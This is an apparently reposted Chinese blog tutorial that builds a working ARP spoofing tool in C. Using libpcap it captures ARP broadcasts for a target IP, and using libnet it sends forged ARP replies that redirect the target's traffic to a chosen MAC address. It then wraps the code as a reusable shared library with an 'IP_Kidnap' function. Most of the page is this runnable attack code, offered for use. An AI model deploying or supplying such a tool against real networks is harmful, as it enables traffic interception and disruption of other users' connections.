我站在 烈烈风中
恨不能 荡尽绵绵心痛
望苍天 四方云动
剑在手
问天下谁是英雄
——《霸王别姬》
阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。
请看下图,这是全篇文章的鸟瞰:
要想实现上图的工作流程,必须实现两个模块:
•自由的伪造ARP报文
•抓取并分析所有流经网卡的数据包
从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。
关于libpcap的基础使用,请参考这篇文章《libpcap使用》。
下面给出一个简单的libpcap过滤抓包的程序:
1 #include <pcap.h> 2 #include <time.h> 3 #include <stdlib.h> 4 #include <stdio.h> 5 6 unsigned char glTargetIP[4]={192,168,1,99}; 7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 9 char * glNICStr="eth2";10 11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)12 {13 int * id = (int *)arg;14 unsigned char * src_ip =glTargetIP;15 unsigned char * src_mac=glRetargetMac;16 unsigned char * dst_ip =packet+28;17 unsigned char * dst_mac=packet+22;18 19 PRintf("id: %d/n", ++(*id));20 printf("Packet length: %d/n", pkthdr->len);21 printf("Number of bytes: %d/n", pkthdr->caplen);22 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 23 24 int i;25 for(i=0; i<pkthdr->len; ++i)26 {27 printf(" %02x", packet[i]);28 if( (i + 1) % 16 == 0 )29 {30 printf("/n");31 }32 }33 34 printf("/n/n");35 }36 37 int main ()38 {39 char errBuf[PCAP_ERRBUF_SIZE], * devStr;40 struct bpf_program filter;41 42 /* get a device */43 devStr = pcap_lookupdev(errBuf);44 45 if(devStr)46 {47 printf("success: device: %s/n", devStr);48 }49 else50 {51 printf("error: %s/n", errBuf);52 exit(1);53 }54 55 /* open a device, wait until a packet arrives */56 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);57 58 if(!device)59 {60 printf("error: pcap_open_live(): %s/n", errBuf);61 exit(1);62 }63 /* set filter */64 pcap_compile( device,&filter,glBpfCmd,1,0 ); 65 pcap_setfilter(device ,&filter );66 /* wait loop forever */67 int id = 0;68 pcap_loop(device, -1, getPacket, (u_char*)&id);69 70 pcap_close(device);71 72 return 0;73 }View Code
gcc name.c -lpcap -o name
结合ARP报文伪造模块,下面给出完整实现代码:
1 #include <pcap.h> 2 #include <time.h> 3 #include <stdlib.h> 4 #include <stdio.h> 5 6 #include <stdio.h> 7 #include <stdlib.h> 8 #include <string.h> 9 #include <unistd.h> 10 #include <libnet.h> 11 12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14 15 16 unsigned char glTargetIP[4]={192,168,1,99}; 17 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 18 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 19 char * glNICStr="eth2"; 20 21 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 22 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 23 { 24 static char padPtr[18]; 25 libnet_t *net_t = NULL; 26 char err_buf[LIBNET_ERRBUF_SIZE]; 27 libnet_ptag_t p_tag; 28 unsigned int i=0; 29 30 printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 31 printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 32 33 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 34 if(net_t == NULL) 35 { 36 printf("libnet_init error/n"); 37 return 2; 38 } 39 40 p_tag = libnet_build_arp( 41 ARPHRD_ETHER,//hardware type ethernet 42 ETHERTYPE_IP,//protocol type 43 MAC_ADDR_LEN,//mac length 44 IP_ADDR_LEN,//protocol length 45 arpOp,//op type 46 (u_int8_t *)src_mac,//source mac addr 47 (u_int8_t *)src_ip,//source ip addr 48 (u_int8_t *)dst_mac,//dest mac addr 49 (u_int8_t *)dst_ip,//dest ip addr 50 padPtr,//payload 51 18,//payload length 52 net_t,//libnet context 53 0//0 stands to build a new one 54 ); 55 56 if(-1 == p_tag) 57 { 58 printf("libnet_build_arp error/n"); 59 libnet_destroy(net_t); 60 return 3; 61 } 62 63 p_tag = libnet_build_ethernet(//create ethernet header 64 (u_int8_t *)dst_mac,//dest mac addr 65 (u_int8_t *)src_mac,//source mac addr 66 ETHERTYPE_ARP,//protocol type 67 padPtr,//payload 68 0,//payload length 69 net_t,//libnet context 70 0//0 to build a new one 71 ); 72 73 if(-1 == p_tag) 74 { 75 printf("libnet_build_ethernet error!/n"); 76 libnet_destroy(net_t); 77 return 4; 78 } 79 80 int res; 81 i=0; 82 for(;i<sendTimes;i++) 83 if(-1 == (res = libnet_write(net_t))) 84 { 85 printf("libnet_write error!/n"); 86 libnet_destroy(net_t); 87 return 5; 88 } 89 90 libnet_destroy(net_t); 91 return 0; 92 FAIL: 93 libnet_destroy(net_t); 94 return 6; 95 } 96 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 97 { 98 int * id = (int *)arg; 99 unsigned char * src_ip =glTargetIP;100 unsigned char * src_mac=glRetargetMac;101 unsigned char * dst_ip =packet+28;102 unsigned char * dst_mac=packet+22;103 104 ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 105 106 printf("id: %d/n", ++(*id));107 printf("Packet length: %d/n", pkthdr->len);108 printf("Number of bytes: %d/n", pkthdr->caplen);109 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 110 111 int i;112 for(i=0; i<pkthdr->len; ++i)113 {114 printf(" %02x", packet[i]);115 if( (i + 1) % 16 == 0 )116 {117 printf("/n");118 }119 }120 121 printf("/n/n");122 }123 124 int main ()125 {126 char errBuf[PCAP_ERRBUF_SIZE], * devStr;127 struct bpf_program filter;128 129 /* get a device */130 devStr = pcap_lookupdev(errBuf);131 132 if(devStr)133 {134 printf("success: device: %s/n", devStr);135 }136 else137 {138 printf("error: %s/n", errBuf);139 exit(1);140 }141 142 /* open a device, wait until a packet arrives */143 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);144 145 if(!device)146 {147 printf("error: pcap_open_live(): %s/n", errBuf);148 exit(1);149 }150 /* set filter */151 pcap_compile( device,&filter,glBpfCmd,1,0 ); 152 pcap_setfilter(device ,&filter );153 /* wait loop forever */154 int id = 0;155 pcap_loop(device, -1, getPacket, (u_char*)&id);156 157 pcap_close(device);158 159 return 0;160 }View Code
这个工具的验证结果已经在文章鸟瞰图中给出。
下面,我们将这段代码封装成为一个共享库,以供其他程序调用。
1 // # gcc name.c -lnet -lpcap -shared -fPIC -o name.so 2 #include <pcap.h> 3 #include <time.h> 4 #include <stdlib.h> 5 #include <stdio.h> 6 7 #include <stdio.h> 8 #include <stdlib.h> 9 #include <string.h> 10 #include <unistd.h> 11 #include <libnet.h> 12 13 #define MAC_ADDR_LEN 6 14 #define IP_ADDR_LEN 4 15 16 17 static unsigned char * glTargetIP; 18 static char * glBpfCmd; 19 static unsigned char * glRetargetMac; 20 static char * glListenNICStr; 21 static char * glSendNICStr; 22 23 24 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 25 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 26 { 27 static char padPtr[18]; 28 libnet_t *net_t = NULL; 29 char err_buf[LIBNET_ERRBUF_SIZE]; 30 libnet_ptag_t p_tag; 31 unsigned int i=0; 32 33 printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 34 printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 35 36 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 37 if(net_t == NULL) 38 { 39 printf("libnet_init error/n"); 40 return 2; 41 } 42 43 p_tag = libnet_build_arp( 44 ARPHRD_ETHER,//hardware type ethernet 45 ETHERTYPE_IP,//protocol type 46 MAC_ADDR_LEN,//mac length 47 IP_ADDR_LEN,//protocol length 48 arpOp,//op type 49 (u_int8_t *)src_mac,//source mac addr 50 (u_int8_t *)src_ip,//source ip addr 51 (u_int8_t *)dst_mac,//dest mac addr 52 (u_int8_t *)dst_ip,//dest ip addr 53 padPtr,//payload 54 18,//payload length 55 net_t,//libnet context 56 0//0 stands to build a new one 57 ); 58 59 if(-1 == p_tag) 60 { 61 printf("libnet_build_arp error/n"); 62 libnet_destroy(net_t); 63 return 3; 64 } 65 66 p_tag = libnet_build_ethernet(//create ethernet header 67 (u_int8_t *)dst_mac,//dest mac addr 68 (u_int8_t *)src_mac,//source mac addr 69 ETHERTYPE_ARP,//protocol type 70 padPtr,//payload 71 0,//payload length 72 net_t,//libnet context 73 0//0 to build a new one 74 ); 75 76 if(-1 == p_tag) 77 { 78 printf("libnet_build_ethernet error!/n"); 79 libnet_destroy(net_t); 80 return 4; 81 } 82 83 int res; 84 i=0; 85 for(;i<sendTimes;i++) 86 if(-1 == (res = libnet_write(net_t))) 87 { 88 printf("libnet_write error!/n"); 89 libnet_destroy(net_t); 90 return 5; 91 } 92 93 libnet_destroy(net_t); 94 return 0; 95 FAIL: 96 libnet_destroy(net_t); 97 return 6; 98 } 99 void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)100 {101 int * id = (int *)arg;102 unsigned char * src_ip =glTargetIP;103 unsigned char * src_mac=glRetargetMac;104 unsigned char * dst_ip =packet+28;105 unsigned char * dst_mac=packet+22;106 107 ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 108 109 printf("id: %d/n", ++(*id));110 printf("Packet length: %d/n", pkthdr->len);111 printf("Number of bytes: %d/n", pkthdr->caplen);112 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 113 114 int i;115 for(i=0; i<pkthdr->len; ++i)116 {117 printf(" %02x", packet[i]);118 if( (i + 1) % 16 == 0 )119 {120 printf("/n");121 }122 }123 124 printf("/n/n");125 }126 127 /* args example128 static unsigned char glTargetIP[4]={192,168,1,99};129 static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";130 static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };131 static char * glListenNICStr="eth2";132 static char * glSendNICStr="eth2";133 */134 int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,135 unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr )136 {137 char errBuf[PCAP_ERRBUF_SIZE], * devStr;138 struct bpf_program filter;139 glTargetIP=TargetIP;140 glBpfCmd=BpfCmd;141 glRetargetMac=RetargetMac;142 glSendNICStr=sendNICStr;143 glListenNICStr=listenNICStr;144 145 /* get a device */146 devStr = pcap_lookupdev(errBuf);147 148 if(devStr)149 {150 printf("success: device: %s/n", devStr);151 }152 else153 {154 printf("error: %s/n", errBuf);155 exit(1);156 }157 158 /* open a device, wait until a packet arrives */159 pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);160 161 if(!device)162 {163 printf("error: pcap_open_live(): %s/n", errBuf);164 exit(1);165 }166 /* set filter */167 pcap_compile( device,&filter,glBpfCmd,1,0 ); 168 pcap_setfilter(device ,&filter );169 /* wait loop forever */170 int id = 0;171 pcap_loop(device, -1, getPacket, (u_char*)&id);172 173 pcap_close(device);174 175 return 0;176 }
编译后的结果:
函数原型:
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )/* dev : pointer to nic name, "eth0" for example. src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };' dst_mac : similar as src_mac src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};' dst_ip : similar as src_ip arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e. sendTimes : how many times this packet you want to send*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd, unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr )/*TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; 'BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'*/
附录:
参考文章 《libpcap使用》《ARP数据包伪造》
新闻热点
疑难解答